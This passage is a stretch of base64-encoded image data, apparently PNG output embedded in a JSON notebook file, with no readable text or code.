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cHwI0mSJCkiGH4kSZIkRQTDjyRJkqSIYPiRJEmSFBEMP5IkSZIiguFHkiRJUkQw/EiSJEmKCIYfSZIkSRHB8COpzC1fvpyuXbuSlJTEc889V97lfGfHjx8nOTmZffv2AbBx40ZSUlJISkrikUceKefqvr1Zs2bRrVs3unXrxpQpU4DK39P06dPp2rUr3bp14+mnnwYqf08AkydPZvTo0UDl76d///5069aN1NRUUlNTef/99yt1T6+99hrp6el06dKF++67D6jc79HChQvD701qaipXXXUVEydOrNQ9KcKFJKkMHThwINSpU6fQp59+GsrPzw+lpKSEPvzww/Iu61t77733QsnJyaFmzZqFsrOzQydPngx16NAhtHfv3lBRUVHo5ptvDq1bt668y/zG3njjjVDv3r1DBQUFocLCwtCAAQNCy5cvr9Q9bd68OdSnT59QUVFR6OTJk6FOnTqFtm7dWql7CoVCoY0bN4ZatWoVGjVqVKX/3AWDwVC7du1CRUVF4ecqc0979+4NtWvXLrR///5QYWFh6IYbbgitW7eu0vbz7/75z3+Grr322tDHH39cZXpS5PHKj6QytXHjRlq3bk29evWoVasW1113HS+99FJ5l/WtvfDCC/z2t7+lYcOGAGRlZXHRRRfxwx/+kOrVq5OSklKp+oqPj2f06NHExMRQo0YNmjRpwu7duyt1Ty1btmTevHlUr16dvLw8AoEAR48erdQ9HT58mEceeYRf/epXQOX/3O3cuROAm2++me7du/Pss89W6p5efvllunbtynnnnUeNGjV45JFHqFmzZqXt599NmDCBESNGkJ2dXWV6UuQx/EgqU7m5ucTHx4cfN2zYkJycnHKs6LuZNGkS//mf/xl+XNn7+ulPf8oVV1wBwO7du1m9ejVRUVGVuieAGjVqMGPGDLp160abNm0q/fs0fvx4RowYwfe//32g8n/ujh49Sps2bfj973/PH//4RxYsWMDHH39caXvas2cPgUCAX/3qV6SmpjJ//vxK/x59buPGjZw6dYouXbpUmZ4UmQw/kspUMBgkKioq/DgUCp32uLKqKn19+OGH3Hzzzdx999388Ic/rBI9DR8+nE2bNrF//352795daXtauHAh559/Pm3atAk/V9k/d1deeSVTpkyhTp06NGjQgOuvv54ZM2ZU2p4CgQCbNm3i/vvv5/nnnycrK4vs7OxK28+/WrBgAYMGDQIq/+dOka16eRcgKbKcd955vP322+HHBw8eDC8dq8zOO+88Dh48GH5cGft65513GD58OL/5zW/o1q0bb775ZqXu6X//938pLCykadOm1KxZk6SkJF566SWio6PDx1SmnlatWsXBgwdJTU3lyJEjnDhxgo8++qjS9gPw9ttvU1RUFA50oVCIH/zgB5X2c3fuuefSpk0bGjRoAMA111xTqT9znyssLOStt97iwQcfBKrGzztFLq/8SCpTbdu2ZdOmTXzyySecPHmStWvX0r59+/Iu66xdfvnl7Nq1K7zsZcWKFZWqr/379zN06FCmTZtGt27dgMrf0759+8jIyKCwsJDCwkJeffVV+vTpU2l7evrpp1mxYgWZmZkMHz6cxMRE5syZU2n7ATh27BhTpkyhoKCA48ePs2TJEv7nf/6n0vbUqVMn/vKXv3D06FECgQAbNmzgv/7rvyptP5/bvn07P/rRj6hVqxZQ+X82KLJ55UdSmWrUqBEjRoxgwIABFBUVcf3113PZZZeVd1lnLTY2lgcffJDbb7+dgoICOnTowH/913+Vd1nf2JNPPklBQUH4b3YB+vTpU6l76tChA1lZWfTo0YPo6GiSkpLo1q0bDRo0qLQ9/bvK/rnr1KkT77//Pj169CAYDNK3b1+uvPLKStvT5Zdfzi233ELfvn0pKiri6quv5oYbbuDiiy+ulP18Ljs7m/POOy/8uLJ/7hTZokKhUKi8i5AkSZKk0uayN0mSJEkRwfAjSZIkKSIYfiRJkiRFBMOPJEmSpIhg+JEkSZIUEdzqWpKkUvbkk0/y4Ycf8uCDD9K/f39uvPFGrrzySn7961+zYMGC7zTm7NmzWblyJQB79+6lfv361KlTB4CZM2dy4YUXfuGc0aNH89Of/pRf/vKX372Zb+CSSy7hZz/7GdWq/d/fsf785z9n0qRJZzxn8+bN3HvvvaxYsaLM6pQUeQw/kiSVg0aNGn3n4AMwePBgBg8eDBAOVBXpd63MnTuXBg0alHcZknQaw48kqcJbtGgRTz/9NNWqVaN+/fpMnjyZ9evX88wzz1CtWjXOPfdcxo0bx49//GNGjx7NOeecwz//+U/y8vJITEykXr16vP766xw8eJD77ruPNm3afOPjdu3axcSJE8nPz+fgwYP8x3/8B7/73e+IjY3l//2//8fgwYN54403yM3NPe0XXN53331s3LiRuLg44uLiwldlPrdv3z5SUlL429/+xsyZM/noo484ePAgH330EY0aNWLq1Kk0bNiQnJwcJk6cyP79+ykqKqJbt2786le/+sr5ev755790bv7V/fffz/bt23n00UepUaMG06ZN46233iIQCHDppZeSkZFB7dq1SUxMJC0tjU2bNrF//35SU1O54447yM/PZ8yYMezZs4dq1arRrFkzJk6ceNrVni9zySWXsGnTpnAw+vyxJJUF7/mRJFVo27ZtY9q0acyZM4fly5eTmJjITTfdxJw5c5g3bx7Lli0jOTmZoUOH8vnv7f7ggw+YO3cuzz77LE899RS1atViwYIFDBgwgD/84Q/hsb/JcS+88AI9evTghRdeYO3atezbt49169YBUFhYSP369VmwYAEzZszggQceoKCggPnz57N7925WrlzJU089xf79+7+2z7fffpvp06fz0ksvUbNmzfBVoZEjR9KzZ08WL17MokWL2LhxI6tWrTrjOJs2bfrKuQmFQkycOJGPP/6YP/zhD3zve99j9uzZREdHs3jxYpYtW0bDhg2ZNm1aeMwTJ04wf/58FixYwFNPPUV2djYvv/wy+fn5ZGZmsmjRIgCys7PD5wwcOJDU1NTwP3l5ed/k7ZakUuWVH0lShbZp0ybatWvH+eefD8BNN91Ebm4uNWrUCF89SE9PZ9KkSezbtw+ATp06UaNGDeLj46lVqxYJCQkAXHjhhRw+fDg89jc5buTIkbzxxhv84Q9/YPfu3eTm5nLixInwGJ07dwagWbNmFBYWcuLECTZt2kRycjIxMTHExMSQkpLC9u3bv7LPli1bUrt2bQAuvfRSjhw5wokTJ3jrrbc4cuQI06dPBz4LItu2baNr165fOs6GDRvo2rXrGefmj3/8I3l5eSxdupSYmBgA1q1bx7Fjx9i4cSMARUVFxMXFfaHHRo0aERcXx5EjR7jqqqt45JFH6N+/P23btmXgwIFcdNFF4XNc9iapIjL8SJIqtOjoaKKiosKPT506RXZ2NhdffPFpx4VCIYqLiwHC/1P/uerVv/w/d9/kuP/5n/8hEAjQpUsXOnbsyP79+8NXUQBiY2MBwjX+6/f+tYevc84554S/joqKIhQKEQwGCYVCLFiwgJo1awLwySefhF/zywSDwS88969z06JFC5o3b86YMWN4/vnnqVGjBsFgkN/85jd06NABgPz8fAoKCr7Q47/W9sMf/pCXX36ZzZs389e//pVBgwYxceJEEhMTv7bXzxUWFn7jYyWpJLjsTZJUobVq1YpNmzaRm5sLwIIFC/jzn//MqlWr+OSTTwB48cUXqVev3mlXHkrKX/7yF4YOHRq+0vL+++8TCAS+8pyEhASWLl1KQUEBBQUFX7lM7avUrl2bK664gqeffhqAo0ePcsMNN/Dqq69+5Wt/1dz8/Oc/p1+/ftSpU4dZs2YB0K5dO5577jkKCwsJBoOMGzeOhx9++Ctrmz9/PmPGjKFdu3aMHDmSdu3a8cEHH3xtTw0aNODvf/87ACtWrPj6SZCkEuSVH0lShXbJJZcwcuRIbrnlFgDi4+N5+eWXeeWVVxg4cCDBYJAGDRrwxBNPfO3N9t/FiBEjGDp0KLVq1aJ27dq0aNGCvXv3fuU5ffr0Ye/evSQnJ591KJs2bRr33nsvKSkpFBYWkpycTPfu3c94/NVXX81NN930lXMTFRXF/fffT48ePejQoQNDhgxh8uTJpKWlEQgEaNq0KaNHj/7Kunr06MGbb75J165dqVmzJueffz79+/f/2n4yMjKYOHEi3//+92nbti3x8fHffDIk6SxFhb7s+rwkSZIkVTEue5MkSZIUEQw/kiRJkiKC4UeSJEnS/2+/DgQAAAAABPlbD3JZtCA/AADAgvwAAAAL8gMAACzIDwAAsCA/AADAQixXIUBz98AnAAAAAElFTkSuQmCC\n", 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VK1fm+1mZOXMmmZmZuLi4MHXqVFxcXPDx8WHGjBm4u7szYMAA2rdvz6uvvlpo+waDoch/LxER+d/t2bMTgFat2pRwJSLW4Z7fU7R3714yMzPp3Lkzjz32GK1atQLg0qVLfP7553h6euY7//Llyzg5OWFnl5fXXF1dSU1NLVi4jQ02NjZ06tSJmTNnEhQUBOS9UT5x4gS9e/emW7duHDlyBHt7e5o0aUKdOnUA+PHHH0lISOD555/n9OnTGI1GBg8ejK+vL+Hh4ZQvX75AfwMHDqR79+7FrrV+/fqWlZB9+/Zx5coVzp8//6fz9cknn9C1a1cee+wxgDvWfbu0tDRcXV0t31eqVKnQOStVqhSJiYm0bduW+Ph4unbtysWLF7G3tyc8PJyePXvSu3dvS0jp2LGjZS6WL1+Om5sbZcuWveMc365Bgwbs3r2bK1eukJWVxddff82FCxc4ffo0ZcqUYdSoUfj6+rJw4UJLoC1MdnY2o0ePZvbs2cTGxlKnTh0iIyMBOHv2LAsXLmTr1q3s3LmT48ePA3lbF1etWsXs2bNZuHAhLi4ubN68mVWrVrFw4UKOHTsGwC+//EJYWBjLly9n5syZtGnThtjYWAB27drF8ePHWb9+PWvXriU6OpqKFStaVtf+jvT0dCIjI5k3bx7jx48nOzubd999F39/f6Kjo2nWrJnl3M2bN+Pl5cX69euJjY1l1apVXLp0icmTJ9OwYUOmTJnCzp07OXToEBs3biQqKorU1FRiYmIAOHnyJKGhofkCUXZ2NpMnT2bevHlERkbSr18/3nnnHZycnJgxYwYhISF8/vnnGAwGXn311SLbFxGReys8/FPCwz8t6TJErMY9Xylau3Yt/fr1y3csNTWVgQMHEhAQQIsWLfK9ZjabC/wluqi/TG/bto2jR4/Sv39/y1+0ExMTWb58ORcuXOCVV16hfv361KxZE4DvvvuOUaNGMXfuXMqXL4/RaOT7779n9erVlClThjfffJPIyEj8/f3/dGxF1Tpr1izeffddVq9eTZs2bahXrx6lSpUqsj2TycSmTZsK3U72x7r/eN3tdRRW1y1169Zl7969rF27llGjRvH+++9z4cIFypYty7p169izZw9Dhw61rBxBXlBbt24dn332GcCfzjGAu7s7/v7+BAUF4ezsjLu7Oz///DNGo5Hdu3ezbt06qlWrxqRJk1i6dCnDhw8vtN7ExEQqV66Mm5sbAG+//TaQd0/Rc889Z1m5q1GjBpcvXwagVq1alC1bFoD9+/fz3nvvAVChQgU8PT05cOAATk5ONGvWDCcnJ8tqlru7OwCPPfYY165dIz4+ntOnT9OjRw8gb2Wwfv36hdZZHLfacXNzw9XVlcTERA4cOGBZ+fLx8WHy5MkADBgwgP3797N8+XKOHz9OTk4ON2/ezNfevn37SEhIsPysZmZmUq1aNZ599lkqVqzI448/nu/8U6dOkZyczJtvvmk5lp6ebhl7y5YtmT9/Plu3bi2yfREREZGHzT0NRdnZ2Xz33XfMmjXLcuzEiRMMHDiQoKAg+vfvX+CaChUqcP36dYxGI7a2tpw/f55KlSoVOG/Hjh08//zzPPLII7i5uVGtWjWSk5N59NFH6dSpE6VKlaJq1ao0btyYI0eOULNmTb744gtCQkJYsGCBJYw9+uijuLu7U6FCBQBefPHFfG8Ei1JUrbm5uSxatAh7e3tycnJYt25dgTepf/TTTz9Rs2ZNy1a+Wwqr+3ZVqlTJtwpV2JxlZWWxa9cuXnzxRSDvDfjs2bNxcXHBzs4OLy8vAFq1asWNGze4ePEiFStWZM6cOXz77bd8/vnnlrqKmuNb0tPT6dChgyUQL1u2jOrVq/Poo4/SuHFjy1a/zp07W8JWYUqVKpUv4F2/ft3yMItbK3SQF0bNZjNAvq18t47d/v2tlbA/htTb24O88Ne5c2dLUMnIyPjTrX6395mbm5vvuK2treVrk8lk6e/W+QaDARubvMXbWbNmkZycjJeXFy+++CJ79+4tMBaj0UifPn0sc3zt2jVsbW25fPlyge2Mt/p8/PHHiY6Otlx/4cIFSw0nT56kdOnSnDx5kkqVKt2xfREREZGHzT3dPpeYmEjNmjUpU6YMkPdGecCAAYwcObLQQAR5b1Sfe+454uLiAIiKiqJNm4L7aSMjI1m/fj0ASUlJXLhwgSeffJJ27dqxdetWzGYzly9fJiEhATc3NxISEggJCWHFihX5gkW7du3YvXs3165dw2g0smvXrnz36xSlqFoXLFhgWW3ZuHEjzzzzDC4uLkW2d/DgQZ599tl8x+5U9+0aN27MyZMnLVsBN2/eXGDO7OzsmDp1KocOHQLy7r1q1qwZ9vb2eHh4WLb6HTx4kNKlS+Pi4sInn3xCfHw8a9asyRfU7jTHt0tJSWHIkCHk5uZy/fp1Nm7cSOfOnWndujWHDx/m7NmzAHzzzTdFznetWrW4ePEiSUlJQF64WrNmTZHzeLuWLVtaVt4uXbrEV199RfPmzYt1bYsWLfjyyy+5ePEiZrOZkJAQVq1aVeQ1Li4ullpvX20DLD8nv/zyC9euXaNOnTp4eHhYtqR98cUXZGVlAbBnzx4GDBhA586dOXnyJKmpqZhMJmxtbS1hq2XLlkRHR5ORkUFubi5Dhw4t8CCQ2z355JNcvXqV77//HoBNmzYxevRoAMLDwylTpgxhYWG88847ZGRk/OX2RUTk7snOziI7O6ukyxCxGvd0pSg5OTnfm+mNGzdy4cIFVq5cabnXoX379owcOZJJkybRvn17PD09mTJlCuPHj2fx4sVUrVqV+fPnA7BmzRrS0tIYOXIkEydOZOLEiURGRuLg4MC8efN45JFH6Nu3L6GhoXh5eWE0GhkyZAi1atXizTffxGg0Mm7cOEs9I0aMwNPTk4EDB9KrVy9ycnJo1aoVAQEBALz++uuMGDGCZ5555o5jvFOto0ePZty4cXz44YdUrlyZmTNnFmu+/vhI5sWLF9+xbl9fX5YuXUrlypWZNWsWw4cPJysri7Zt21oe8nD7vC5YsIDg4GCMRiOVK1e2PKxixowZBAcHEx4ejp2dHQsWLMBgMLBo0SKcnJws92tB3mO27zTHqampDBo0iOjoaOrVq0eHDh3w8fHBaDTSt29fS+CbNm0agwcPJisrCzc3t3xj+yMHBwdCQ0MZO3YsOTk51KhRgzlz5hT7zfnQoUMJCQnB29vbcu9YgwYNSExM/NNr69Wrx7Bhw+jTpw8mkwk3NzcGDRpU5DUjRozg3Xff5cMPP6R169b5XktOTqZbt25AXmi2tbUlODiYMWPGsG7dOho2bMgjjzwCwBtvvMHYsWNxdHSkSpUqNGzYkJSUFNzc3Lh+/TpjxowhNDSUY8eO0aNHD4xGIy+88ALdunXj999/z9fv7T8D77//PjNmzCArKwsnJydmz55NcnIyixcvZsOGDVStWpXWrVsTGhpKSEhIoe2LiMi9V5ydCSJy9xjMf9yTIyJ3XVBQEMOGDbvjat/D6uLFdEym4v2KcXUty/nz1+9xRSVDY3vwPKzjAo3tQdG/fy8AVqzI++iSB3Vsrq5lS7oEkWL5Rx7JLXk++eQTy5PTblepUiU+/vjjEqjo/hEUFFTgs44AXn75ZV555ZUSqOjOHqRaRUREROTPKRT9g/r27Uvfvn1Luoz70urVq0u6hGL7O7U+SOMTERERsTb3/HOKRERERERE7mcKRSIiIiIiYtW0fU5ERETkPqPPhRP5ZykUiYiIiNxn7O0dSroEEaui7XMiIiIiImLVtFIkIiIicp/p1at3SZcgYlUUikRERETuM61atSnpEkSsirbPiYiIiIiIVVMoEhERERERq6ZQJCIiIiIiVk2hSERERERErJpCkYiIiIiIWDWFIhERERERsWoKRSIiIiIiYtUUikRERERExKopFImIiIiIiFVTKBIREREREaumUCQiIiIiIlZNoUhERERERKyaQpGIiIiIiFg1hSIREREREbFqCkUiIiIiImLVFIrkvpGens7UqVPx8vLC19eXoKAgDh8+fMfzU1JSaN++PQDjx48nIiLiL/eZkJBAaGio5fsbN24we/ZsOnToQJcuXejatSsbNmz464P5E0FBQZav69ate9fbFxEREZHisyvpAkQATCYTr7/+Oi1atCAqKgo7Ozv279/P66+/zpYtW3Bxcbkn/SYlJXHx4kXL98OHD+exxx4jNjYWBwcH0tLSGDBgAK6urvzrX/+6a/0eOHDgrrUlIiIiIv8brRTJfSE+Pp6zZ88yYsQI7OzysnrLli2ZOXMmJpOJJUuW0KVLF7y9vZk1axZGo/GObUVFRdGtWzd8fX2ZOHEiWVlZAMTGxlpWf8aPH8+lS5f44IMP+Prrr1m8eDE//vgjx48f55133sHBwQGASpUqMW3aNMv3QUFBxMfHA/lXqi5cuMCQIUPw9/cnICCAvXv3ArBv3z78/f3x9/enX79+XLp0ienTpwPQvXv3Iufkm2++wdfXF29vb4YMGcKFCxcsc+Xt7Y2fnx8hISGWVaeVK1fi4+ODn58fwcHBhba5dOlSunXrho+PD3PmzMFsNvPVV1/RsWNHsrKyOH36NG3atCE1NfWOYxKRh8eePTvZs2dnSZchIlLiFIrkvnDkyBHq1auHjU3+H8m2bdty6NAhvv76azZt2kRkZCSnT59m7dq1hbZz/Phx1q9fz9q1a4mOjqZixYosX76c1NRUZs6cyYoVK9iyZQtGo5Eff/yRESNG0L59e958801+/vlnmjRpQqlSpfK12bRpU9zd3Yusf8aMGQQEBBAREcHixYsJDg4mPT2dsLAwQkJCiIiIwMPDgyNHjjB58mSAIrflXbx4keDgYBYtWkRsbCzNmjVj2rRp5OTkMHbsWEJDQy0ragBGo5GPPvqITZs2ERERQU5ODqmpqfna3LlzJ4cOHWLjxo1ERUWRmppKTEwMnp6eNGnShCVLljBhwgTGjRtH5cqV7zgmEXl4hId/Snj4pyVdhohIidP2Obkv2NjYWFZj/mj//v107dqV0qVLAxAQEEBUVBRt27YtcG58fDynT5+mR48eAOTk5FC/fn1++uknmjVrRpUqVQAs9xEVdR/Sp59+yqZNm8jJyeHJJ5/kww8/vOO5e/fu5bfffuODDz4AIDc3l+TkZDw9PRk2bBgvvvginp6etGrVqhizkXevU6NGjXj88ccB6NmzJ0uXLuXXX3+lYsWK1KtXD4DAwEBmzJiBra0tTZs2JTAwEE9PT/r160flypXztblv3z4SEhLw9/cHIDMzk2rVqgEwadIkunTpQrNmzejatWuRY3JzcyvWGEREREQeFApFcl9o2LAh4eHhmM1mDAaD5fj8+fPZt28f3bp1y3d+bm5uoe0YjUY6d+5sWY3JyMjAaDRy4MCBfO1eunSpwLXPPPMMq1atwmg0YmtrS+/evenduzfx8fH5ApHZbC5Qg8lkYtWqVTg7OwOQlpZGxYoVcXNzo127dnzzzTeEhoaSkJDAm2+++afzYTKZ8n1vNpvJzc3F1ta2wGu3hIWFcfDgQXbu3MnAgQOZO3cuzZs3zzc3ffr0oV+/fgBcu3YNW1tbIG/7n62tLb/99htZWVk4ODjccUwiIiIiDxttn5P7wnPPPUfFihX58MMPLfcL7dq1i4iICPr06cOWLVvIzMwkNzeXTZs20bJly0LbadGiBV9++SUXL17EbDYTEhLCqlWreOaZZzh48CDnz58H4L333uOrr77C1tbWEm6effZZnnrqKd59910yMzOBvNWUXbt2Wbb1ubi4kJSUBMB///tfS78tW7YkPDwcyHt4g7e3Nzdv3qR79+5kZGTQt29f+vbty5EjRwDy9VuYxo0b8/PPP5OSkgLAunXraNGiBU8++STXrl0jMTERyLtPCvJCXpcuXahTpw4jR46kVatWlnNurzE6OpqMjAxyc3MZOnQo27dvx2g0MmHCBCZNmkTz5s15//33ixyTiDw8srOzyM7OKukyRERKnFaK5L5gMBgICwtj5syZeHl5YWdnh4uLC0uXLqV+/fqcPXuWgIAAcnNzad26Na+99hrnzp0r0E69evUYNmwYffr0wWQy4ebmxqBBg3BwcI8i3MUAACAASURBVGDSpEkMGDAAk8lEkyZN8Pf35//+7//48MMPmTt3LqNHj2bRokWEhYVZHoKQmZlJ27ZtLdvtBg4cyPjx49m0aROenp6WfidPnkxwcDDe3t4AzJkzBycnJ9566y3Gjx+PnZ0dZcqUsTxkwdPTE19fX8v2vaZNm1raqlatGlu2bGHatGkMGzaMnJwcqlWrxowZM7C3t2fOnDmMGzcOGxsbatWqhaOjIxUqVKBnz54EBgZSunRpatWqRUBAAKmpqQwaNIjo6Gjat2/PsWPH6NGjB0ajkRdeeIFu3bqxbNkyKlasSIcOHfDw8MDLy4sOHTrccUwi8vAo6qE1IiLWxGC+tRdIRO57JpOJuXPnMmzYMMqUKcPKlStJTU1l/PjxJV1aoS5eTMdkKt6vGFfXspw/f/0eV1QyNLYHz8M6Lsg/tv79ewGwYkV4SZZ011jLv9uDxNW1bEmXIFIsWikSeYDY2Njg7OxMYGAgpUqV4rHHHmPGjBklXZaIiIjIA02hSOQBM2jQIAYNGlTSZYiIiIg8NPSgBRERERERsWoKRSIiIiIiYtW0fU5ERMRK3fqsMhERa6dQJCIiYqXs7R1KugQRkfuCts+JiIiIiIhV00qRiIiIlerVq3dJlyAicl9QKBIREbFSrVq1KekSRETuC9o+JyIiIiIiVk2hSERERERErJpCkYiIiIiIWDWFIhERERERsWoKRSIiIiIiYtUUikRERERExKopFImIiIiIiFVTKBIREREREaumUCQiIiIiIlZNoUhERERERKyaQpGIiIiIiFg1hSIREREREbFqCkUiIiIiImLVFIpERERERMSqKRSJiIiIiIhVsyvpAkQeBikpKXTq1InatWsDkJmZSbNmzXj77bd59NFHi91OfHw8gwcPpkaNGgCYTCYyMjJ4/fXXeeWVV+5J7SIiIiLWTqFI5C6pVKkS0dHRAJjNZubPn8+IESMIDw//S+00bNiQ1atXW74/evQogYGBeHt74+TkdFdrFhERERFtnxO5JwwGA8OHD+f48eN89913vPbaa/j7+xMYGMjBgwcB2Lt3Lz4+Pnh7e/PGG2+Qnp5eaFu///47pUuXxt7enoiICMaPH295LSgoiPj4eOLj4+nfvz9DhgyhY8eOjBgxguzs7AJt7dy5k8DAQPz8/Bg2bBiXL1/m7NmzuLu7c+LECbKzs/H29mbHjh0YjUZmzpxJt27d8PHx4ZNPPrkncyUiIveHPXt2smfPzpIuQ6REaKVI5B6xt7fniSeeID4+nn/9618MHDiQnTt38sMPP1C/fn1Gjx7N8uXLcXNzY968eURGRlKnTh0OHTqEr68vN2/e5OrVq7Ro0YIVK1Zgb29fZH8//fQTW7dupVKlSvTo0YPdu3fTvn17y+uXLl1i3rx5fPrpp5QvX561a9cyd+5cZsyYwejRowkJCaFZs2Y0bdqUf/3rX6xZswaAyMhIsrOzGTBgAA0bNuS55567p/MmIiIlIzz8UwBatWpTwpWI/PMUikTuIYPBAMCKFSs4evQobdu25bXXXiMxMZHKlSvj5uYGwNtvvw3k3VN0a/tcdnY2Y8aMwcnJiUaNGv1pX08//TRVqlQBoHbt2ly9ejXf6z///DNnz56ld+/eQN79SuXLlwcgICCArVu3Ehsby+bNmwHYt28fR48eZf/+/QDcuHGDxMREhSIRERF56CgUidwj2dnZnDx5knnz5vHqq6+yY8cO4uLiiIyMZNy4cZbABHD9+nUyMjLyXW9vb8/06dPp2LEjcXFxdOnSBYPBgNlstpyTk5Nj+drBwcHy9R/PAzAajTRr1owlS5YAkJWVZekzKyuLc+fOYTQaOXfuHE8++SRGo5ExY8bQoUMHIG+l6ZFHHrlLsyMiIiJy/9A9RSL3gMlkYuHChTRu3Ji1a9cSExNDt27dCA4O5siRI9SqVYuLFy+SlJQEwLJlyyzb1W5XtmxZhg8fzpw5c8jMzMTFxYUTJ05gNptJTk4mMTGx2DU1btyYgwcPcvLkSQDCwsKYM2cOAP/5z39o2bIlEyZMYMKECRiNRlq2bMn69evJyckhIyODXr16We6HEhGRh092dhbZ2VkAXLlymVmzpnH16pUSrkrkn6GVIpG7JC0tDV9fXyAvFLm5uTF//nxu3LjB22+/TUREBLa2tsyePRsHBwdCQ0MZO3YsOTk51KhRgzlz5nDo0KEC7Xbv3p3Vq1ezcuVKBgwYwKZNm+jUqRO1atXi2Wef/dO6Xn/9dUaMGMEzzzzDe++9x7///W9MJhOVK1cmNDSUgwcPsn37dmJiYnByciIyMpIVK1bQt29fTp8+Tbdu3cjNzcXf358WLVrc9XkTEZH7g9FotHwdGxvJ8eOJxMREEBTUvwSrEvlnGMx/3GMjInKXXLyYjslUvF8xrq5lOX/++j2uqGRobA+eh3VcoLE9qP6JsfXv3wuA+fMXMW7cv8nJyaFUKXvmzPkP5cs7/602XV3L3s0SRe4ZbZ8TEREREYvY2EjLH7RMJhMxMRElXJHIvadQJCIiIiIW+/btwWjMBcBozGXfvj0lXJHIvadQJCIiIiIW7u6tsLXNu+3c1tYOd/dWJVyRyL2nUCQiIiIiFt7e3bCxyfvYCBsbG3x8/Eu4IpF7T6FIRERERLC1tcXW1hZnZxdat26LwWCgdes2f/shCyIPEj2SW0RERESwt///HwLu7d2N339P0SqRWA2FIhERERHJx9nZhfHjg0u6DJF/jEKRiIiIiNCrV++SLkGkxCgUiYiIiAitWrUp6RJESowetCAiIiIiIlZNoUhERERERKyaQpGIiIiIiFg1hSIREREREbFqCkUiIiIiImLVFIpERERERMSqKRSJiIiIiIhVUygSERERERGrplAkIiIiIiJWTaFIRERERESsmkKRiIiIiIhYNYUiERERERGxagpFIiIiIiJi1RSKRERERETEqikUiYiIiIiIVVMokrsmNzeXxYsX07lzZ7p06ULHjh1ZsmQJZrP5rvURHx9PUFDQn5538OBB+vTpg4+PD15eXoSEhJCZmfk/9x8REcH48eMLHE9JSaF9+/YFjtetW/d/7hNg4cKFLFy48K62KSIiIiJ5FIrkrpk6dSoJCQmsW7eOuLg4Nm3axL59+wgPD/9H6zh27BjDhg3jrbfeIiYmhqioKMxmM++8884/WoeIiIiIPBjsSroAeTicO3eOmJgYdu7cSbly5QBwcnIiODiYpKQkLly4wKRJkzhz5gx2dnaMGjWKNm3acPPmTSZPnkxiYiIGg4EBAwbg5+dHTk4OU6ZM4YcffqBy5coYDAaGDBmSr8/Tp08TEhLClStXcHR05J133qF+/